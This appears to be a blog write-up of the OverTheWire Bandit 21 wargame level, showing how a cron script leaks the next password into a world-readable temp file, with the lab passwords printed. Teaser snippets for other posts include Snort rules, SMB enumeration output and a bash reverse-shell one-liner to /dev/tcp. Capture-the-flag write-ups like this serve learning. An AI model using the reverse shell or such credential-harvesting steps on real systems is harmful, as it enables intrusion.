Skip to main content

Bandit 21 Over The Wire

Lessons Learned

reading other peoples bash scripts

Logging in

On a kali vm/ linux machine

Type:

ssh bandit21@bandit.labs.overthewire.org -p 2220
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

Completing The Challenge

The Goal:

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

The Solution:

bandit21@bandit:~$ ls /etc/cron.d/

cronjob_bandit15_root  cronjob_bandit17_root  cronjob_bandit22  cronjob_bandit23  cronjob_bandit24  cronjob_bandit25_root

bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22

@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null

bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh

#!/bin/bash

chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

I am very happy to say this was all done on a phone. Using juicessh and the blogger app.

So, I really wanted to see a method for crontab to just tell me what was running, but i couldn't find that. I then decided to go with next best thing, which was:

We're trying to get access to bandit22 

There is a bandit22 file in cron.d 

I should follow that and see what I find.

If you cat the file that outputs to null you'll see it creates a file that everyone can read, and copies the bandit22 password to it. All that's left is to read that file. 






Labels:

Comments

Post a Comment

Popular posts from this blog

Snort Challenge - The Basics

Rules Ive Used # This file intentionally does not come with signatures.  Put your local # additions here. # alert icmp any any <> any any (msg: "IP ID 35369 Found"; id:35369; sid: 1000001; rev:1) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:S;  sid: 1000001; rev:1;) # log tcp any any <> any any (msg: "ALL SYN FLAGS"; flags:P,A;  sid: 1000001; rev:1;) # log ip any any <> any any (msg: "SAME-IP IN IP"; sameip; sid:1000001; rev:1;)#This was not used in the first snort, they only wanted the next 2 rules, which showed less dups log udp any any <> any any (msg: "SAME-IP IN TCP"; sameip; sid:1000001; rev:1;) log tcp any any <> any any (msg: "SAME-IP IN UDP"; sameip; sid:1000002; rev:1;)  Snort Params: Some Sniffer mode parameters are explained in the table below; Parameter Description -v Verbose. Display the TCP/IP output in the console. -d Display the packet data (payload). -e Display...
Post a Comment
Read more

Network Services

Network Services https://tryhackme.com/room/networkservices 3. Enumerating SMB Conduct an nmap scan of your choosing, How many ports are open? running nmap 10.10.197.190 results in PORT STATE SERVICE 22/tcp open ssh 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 02:21:CD:94:98:F5 (Unknown) Show/Hide What ports is SMB running on? 139/445 Show/Hide this is the known default values for SMB Let's get started with Enum4Linux, conduct a full basic enumeration. For starters, what is the workgroup name? WORKGROUP Show/Hide looking at the rest of the info from enum4linux -a 10.10.197.190 ill summarize here ========================== | Target Information | ========================== Target ........... 10.10.197.190 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =================================================...
Post a Comment
Read more

Bandit 18 Over The Wire

Lessons Learned ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners Logging in On a kali vm/ linux machine Type: ssh bandit18@bandit.labs.overthewire.org -p 2220 kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd Completing The Challenge The Goal: The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. The Solution: kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme' This is a OverTheWire game server. More information on http://www.overthewire.org/wargames bandit18@bandit.labs.overthewire.org's password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following: bash -i > & /dev/tcp/10.0.0.1/8080 0 > & 1  
Post a Comment
Read more